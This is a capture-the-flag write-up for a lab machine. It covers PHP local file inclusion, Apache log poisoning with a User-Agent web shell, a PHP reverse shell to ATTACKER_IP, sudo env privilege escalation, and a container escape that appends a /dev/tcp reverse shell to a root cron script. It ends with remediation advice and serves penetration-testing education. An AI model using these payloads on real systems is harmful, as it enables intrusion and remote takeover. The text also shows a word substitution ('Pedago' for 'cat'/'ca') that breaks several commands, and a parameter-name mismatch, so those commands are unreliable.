TekPedago

CTF Challenge Write-up

by M3RICK

ENUMERATION **EXPLOITATION** **PRIVILEGE ESC**

Executive Summary

This write-up documents the comprehensive exploitation of a deliberately vulnerable CTF machine featuring Local File Inclusion (LFI) vulnerabilities, Apache log poisoning for remote code execution, and Docker container escape techniques. The challenge required systematic web appliPedagoion enumeration, PHP filter wrapper abuse, log poisoning to achieve RCE, privilege escalation through environment variable manipulation, and exploitation of misconfigured cron jobs to escape the container and achieve root access on the host system.

Attack Path Summary: Network Enumeration ⟶ Web AppliPedagoion Discovery ⟶ LFI IdentifiPedagoion ⟶ PHP Filter Exploitation ⟶ Apache Log Poisoning ⟶ Reverse Shell ⟶ Sudo Privilege Escalation ⟶ Docker Container Detection ⟶ Cron Job Exploitation ⟶ Container Escape ⟶ Root Access

Reconnaissance Phase

Initial Service Enumeration

The reconnaissance phase commenced with a comprehensive Nmap scan to identify accessible services and potential attack vectors on the target system.

▸ Network Port Scanning

```
nmap -sC -sV -p- <TARGET_IP>
```

Tool: Nmap Flags Explained

- `-sC`: Executes default NSE (Nmap Scripting Engine) scripts for comprehensive service detection
- `-sV`: Performs version detection on identified services to enumerate specific software versions
- `-p-`: Scans all 65535 TCP ports for complete coverage

▸ Discovered Services

The initial scan revealed a web service running on the target:

- **Port 80/TCP:** HTTP (Apache Web Server)

Web AppliPedagoion Analysis

Initial AppliPedagoion Reconnaissance

Navigating to the web appliPedagoion revealed a PHP-based interface featuring two interactive buttons for displaying images:

```
http://<TARGET_IP>/
```

The appliPedagoion presented functionality to view “Tek” or “Pedago” images through URL parameters:

- Tek button: `/?view=Tek`
- Pedago button: `/?view=Pedago`

▸ Parameter Analysis

Inspection of the URL structure revealed a `view` parameter responsible for including PHP files:

```
# URL structure
/?view=<value>

# Server-side logic (discovered later)
include $_GET['view'] . ".php";
```

The appliPedagoion appeared to dynamically include PHP files based on user input, with automatic `.php` extension appending, suggesting potential Local File Inclusion vulnerability.

Directory Enumeration

To discover hidden files and additional endpoints, web directory fuzzing was performed using FFUF:

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -u http://<TARGET_IP>/FUZZ.php -mc 200,301,302
```

Tool: FFUF

FFUF (Fuzz Faster U Fool) is a high-performance web fuzzer written in Go. When fuzzing for PHP files, the wordlist is combined with the `.php` extension to discover script files. The `-mc` flag filters responses by HTTP status codes.

✓ **Discovered files: `flag.php`, `index.php`**

Local File Inclusion Exploitation

Initial LFI Testing

The presence of the `view` parameter and file-based routing suggested potential for Local File Inclusion attacks. Initial testing confirmed the vulnerability:

```
# Attempt to access flag.php
/?view=flag
```

⚠️ **Request succeeded but returned no visible output - PHP files are executed rather than displayed**

Understanding PHP Include Behavior

The lack of output when accessing `flag.php` revealed critical information about the appliPedagoion's behavior:

Tool: PHP Include Function

The `include` function in PHP executes the target file as PHP code rather than displaying its raw content. When a PHP file is included, any PHP code within it is executed, but the source code itself is not rendered. This behavior prevents direct viewing of PHP file contents through simple inclusion.

To view the actual content of PHP files, alternative techniques are required that bypass code execution.

PHP Filter Wrapper Exploitation

PHP provides stream wrappers that can manipulate file contents before processing. The `php://filter` wrapper enables content transformation without execution:

```
# PHP filter syntax
php://filter/convert.base64-encode/resource=<file>
```

Tool: PHP Filter Wrappers

PHP filter wrappers (`php://filter`) allow applying transformation filters to streams before reading them. The `convert.base64-encode` filter encodes file contents in Base64, preventing PHP execution while making the raw source code accessible. This technique is essential for reading PHP files through LFI vulnerabilities.

The payload structure:

- Uses `php://filter` wrapper for content transformation
- Applies `convert.base64-encode` to prevent execution
- Includes "Tek" string to satisfy appliPedagoion validation
- Uses path traversal (`../`) to access target file

▸ Flag Extraction

```
# Complete payload
curl "http://<IP>/?view=php://filter/convert.base64-encode/resource=pedago/../flag"

# Response (Base64 encoded)
<BASE64_CONTENT>

# Decode
echo "<BASE64_CONTENT>" | base64 -d
```

FLAG 1: EPI{tH15_15_N0T_4_t3Kp3D490_Y0U_D1rty_h4Ck3R}

Source Code Analysis

Index.php Examination

Using the same PHP filter technique, the main appliPedagoion file was extracted:

```
/?view=php://filter/convert.base64-encode/resource=Tek/../index
```

After Base64 decoding, the source code revealed the appliPedagoion logic:

```
<!DOCTYPE HTML>
<html>

<head>
    <title>TekPedago</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>TekPedago</h1>
    <i>a gallery of various Epitech tek or pedagos</i>

    <div>
        <h2>Who would you like to see?</h2>
           <a href="/?view=tek"><button id="tek">A Tek</button></a> <a href="/?view=pedago"><button
id="pedago">A Pedago</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
      $ext = isset($_GET["end"]) ? $_GET["end"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'tek') || containsStr($_GET['view'], 'pedago')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only teks or pedagos are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>
```

Key findings from source code analysis:

- **Extension Control:** `end` parameter controls file extension (default: `.php`)
- **Validation Logic:** Requires “Tek” or “Pedago” string in `view` parameter
- **Include Behavior:** ConPedagoenates view parameter with extension parameter
- **Bypass Opportunity:** Empty `end` parameter removes automatic `.php` appending

✓ **Extension parameter can be manipulated to bypass `.php` appending: `&end=`**

LFI to Remote Code Execution

System File Access

With the extension bypass discovered, access to arbitrary system files became possible:

```
# Access /etc/passwd
/?view=Tek../../../../../../etc/passwd&ext=
```

✓ **Successfully accessed `/etc/passwd` - full filesystem read capability confirmed**

Log File Discovery

To escalate from file read to code execution, Apache log files were targeted for poisoning attacks. The log file loPedagoion was identified through systematic enumeration:

```
# Burp Suite Intruder payload
/?view=Tek../../../../../../var/log/apache2/FUZZ&ext=

# Common log file names tested
access.log
error.log
other.log
```

Tool: Burp Suite Intruder

Burp Suite Intruder automates payload injection by iterating through wordlists at marked injection points. For log file discovery, common Apache log filenames are tested systematically. The tool identifies successful requests based on response length, status codes, or content patterns.

✓ **Apache access log discovered at `/var/log/apache2/access.log`**

Log Poisoning Attack

Apache access logs record all HTTP requests, including User-Agent headers. By injecting PHP code into the User-Agent, the code becomes stored in the log file and executed when the log is included.

▸ Attack Methodology

```
# Inject PHP code via User-Agent header
User-Agent: <?php system($_GET['cmd']); ?>

# Include poisoned log file with command parameter
/?view=Tek../../../../../../var/log/apache2/access.log&ext=&cmd=<COMMAND>
```

Tool: Apache Log Poisoning

Log poisoning exploits the fact that web server logs record user-controllable data (headers, parameters, paths). By injecting malicious code into logged data and subsequently including the log file via LFI, the injected code executes. The User-Agent header is ideal as it’s reliably logged and accepts arbitrary values.

▸ Command Execution VerifiPedagoion

```
# Test command execution
&cmd=whoami
Response: www-data

# Identify available interpreters
&cmd=which php
Response: /usr/bin/php

&cmd=which python3
Response: /usr/bin/python3
```

✓ Remote command execution achieved - www-data user context

Reverse Shell Establishment

▸ Listener Configuration

```
nc -lvnp 4444
```

▸ Payload Construction

A PHP reverse shell payload was crafted and URL-encoded:

```
# PHP reverse shell
php -r '$sock=fsockopen("<ATTACKER_IP>",4444);exec("sh <&3 >&3 2>&3");'

# URL encoded version
php%20-r%20%27%24sock%3Dfsockopen%28%22<ATTACKER_IP>%22%2C4444%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%2
```

Tool: PHP Reverse Shell Technique

This one-liner establishes a TCP connection to the attacker's machine using `fsockopen()`, then redirects STDIN, STDOUT, and STDERR through the socket using file descriptor manipulation (`<&3 >&3 2>&3`). The `exec()` function spawns a shell with these redirections, creating an interactive remote shell.

▸ Payload Execution

```
# Complete URL with encoded payload
/?view=Tek../../../../../../var/log/apache2/access.log&ext=&cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22<ATTACKER_IP>
```

✓ Reverse shell connection established as www-data user

▸ Shell Stabilization

https://medium.com/@dineshkumaar478/a-step-by-step-guide-to-turning-a-basic-reverse-shell-into-a-fully-interactive-terminal-using-41c512e5e0cc

```
# Upgrade to fully interactive TTY

1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. Background with Ctrl+Z
3. stty raw -echo; fg
4. export TERM=xterm
```

Post-Exploitation Enumeration

Flag Discovery

```
find / -name "flag*.txt" 2>/dev/null
```

FLAG 2: EPI{1_Pr3F3R_MY_p3D490_w17h_R3m073_C0D3_3X3C}}

Privilege Escalation

Sudo Permission Enumeration

```
sudo -l

User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/env
```

✓ Unrestricted sudo access to `/usr/bin/env` binary

Environment Binary Exploitation

The `env` binary, when executed with sudo privileges, can spawn shells with elevated permissions:

```
sudo /usr/bin/env /bin/bash

whoami
root

id
uid=0(root) gid=0(root) groups=0(root)
```

Tool: GTFOBins - env

GTFOBins documents legitimate binaries that can be abused for privilege escalation. The `env` binary runs programs in modified environments. When executed via sudo, `env` can spawn a shell that inherits root privileges. The syntax `sudo env /bin/bash` executes bash as root through the environment binary.

✓ Root privileges obtained within current environment

Flag Discovery

```
find / -name "root*.txt" 2>/dev/null
```

FLAG 3: EPI{y0u_p0wN3d_7h3_80X_0R_d1d_Y0u}

Container Detection & Escape

Environment Analysis

Despite achieving root privileges, certain system files remained inaccessible:

```
Pedago /etc/shadow
Pedago: /etc/shadow: No such file or directory

ls -la /
-rwxr-xr-x  1 root root    0 <DATE> .dockerenv
```

⚠ **Presence of `.dockerenv` file indiPedagoes execution within Docker container**

Tool: Docker Container IndiPedagoors

The `.dockerenv` file is automatically created by Docker in the root directory of containers. Its presence definitively indiPedagoes containerized execution. Additionally, limited filesystem visibility, missing system files, and restricted network access patterns suggest container isolation.

Key observations:
- Root privileges limited to container namespace
- Host filesystem inaccessible
- Container isolation preventing full system compromise

Container Escape Strategy

To achieve true root access on the host system, container escape techniques were required. Enumeration focused on identifying shared resources or scheduled tasks.

▸ Backup Directory Discovery

```
find / -type d -name "*backup*" 2>/dev/null
/opt/backups
```

```
ls -la /opt/backups/
-rwxr-xr-x 1 root root  69 <DATE> backup.sh
-rw-r--r-- 1 root root 10240 <DATE> backup.tar
```

▸ Backup Script Analysis

```
Pedago /opt/backups/backup.sh
#!/bin/bash
tar cf /opt/backups/backup.tar /root/container
```

The script creates tar archives of container data. The file permissions and behavior suggested execution by root via cron job.

▸ Cron Job IdentifiPedagoion

```
# Monitor file modifiPedagoion times
watch -n 1 'ls -la /opt/backups/backup.tar'

# Observation: backup.tar updates every minute
```

✓ Automated execution confirmed - cron job runs backup.sh every minute as root

Cron Job Exploitation

▸ Attack Methodology

Since the backup script executes as root and is writable, injecting a reverse shell payload enables command execution as root on the host system:

```
# Append reverse shell to backup script
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1' >> /opt/backups/backup.sh

# Verify injection
Pedago /opt/backups/backup.sh
#!/bin/bash
tar cf /opt/backups/backup.tar /root/container
bash -i >& /dev/tcp/<ATTACKER_IP>/5555 0>&1
```

Tool: Cron-Based Container Escape

When scheduled tasks within containers execute scripts with write permissions, attackers can inject malicious code. If these tasks are orchestrated by the host system (common in container management), the injected code executes on the host rather than within the container, enabling escape. The key requirement is that the cron job must be managed by the host's cron daemon.

▸ Listener Configuration

```
# On attacking machine
nc -lvnp 5555
```

▸ Root Shell Acquisition

After approximately 60 seconds (next cron execution), the reverse shell connected:

```
# Connection received
whoami
root

hostname
<HOST_HOSTNAME>

ls -la /.dockerenv
ls: cannot access '/.dockerenv': No such file or directory
```

✓ Successfully escaped container - root shell obtained on host system

Final Flag Extraction

```
find / -name "what*.txt" 2>/dev/null
```

FLAG 4: EPI{3Sc4L4710nS_0n_3SC4L4710nS_0n_3sC4L4710Ns_17_n3v3r_S70P}

Conclusion

This CTF challenge demonstrated multiple critical penetration testing methodologies and security vulnerabilities:

- **Local File Inclusion Exploitation:** Understanding PHP include behavior and leveraging filter wrappers to bypass code execution and access source code
- **Extension Manipulation:** Exploiting parameter-based extension control to bypass file type restrictions
- **PHP Filter Wrappers:** Using Base64 encoding filters to read PHP source files without triggering execution
- **Apache Log Poisoning:** Injecting malicious code into web server logs through User-Agent headers to achieve remote code execution
- **URL Encoding:** Properly encoding special characters in reverse shell payloads for reliable execution
- **Privilege Escalation via env:** Exploiting sudo permissions on environment binaries to spawn root shells
- **Container Detection:** Identifying containerized environments through filesystem indiPedagoors and behavioral analysis
- **Cron Job Exploitation:** Leveraging scheduled tasks with write permissions to inject malicious code
- **Container Escape:** Understanding container-host interactions to escape isolation and achieve host-level compromise

The successful compromise of this system highlights the critical importance of input validation, secure file inclusion practices, proper log management, restricted sudo configurations, and secure container orchestration with proper filesystem isolation and permission management.

Remediation Recommendations

———————

Web AppliPedagoion Security:
- Never use user input directly in file inclusion functions
- Implement strict allowlists for file parameters (no path traversal characters)
- Use absolute paths and validate against allowed files explicitly
- Avoid conPedagoenating user input with file extensions
- Implement proper input sanitization for all parameters
- Disable PHP filter wrappers in production environments when not required

File Inclusion Security:
- Use `basename()` to strip directory paths from user input
- Implement allowlist validation instead of denylist filtering
- Consider using `readfile()` with strict validation instead of `include()`
- Never allow users to control file extensions through parameters
- Log all file inclusion attempts for security monitoring

Log Management:
- Store logs outside the web root directory
- Implement proper log rotation and archival
- Restrict read access to log files (chmod 640 or 600)
- Sanitize or limit length of logged data (especially headers)
- Consider using separate log servers to prevent local access

Sudo Configuration:
- Never grant NOPASSWD sudo access to interpreters or environment binaries
- Use specific command paths with immutable arguments
- Implement proper sudo session timeouts
- Regularly audit sudoers configurations
- Apply principle of least privilege to all service accounts

Container Security:
- Run containers with minimal privileges (non-root users)
- Implement read-only filesystems where possible
- Use security profiles (AppArmor, SELinux, seccomp)
- Avoid mounting host directories into containers
- Implement proper volume permission management
- Regularly scan container images for vulnerabilities

Cron Job Security:
- Execute scheduled tasks with minimal required privileges
- Store cron scripts in directories with restrictive permissions (root-owned, 700)
- Implement file integrity monitoring for cron scripts
- Avoid executing scripts from container-writable loPedagoions
- Use systemd timers with proper service isolation as alternative
- Log all cron job executions for audit trails

Container Orchestration:
- Isolate container management from container execution context
- Implement proper namespace isolation
- Use separate cron daemons for containers vs host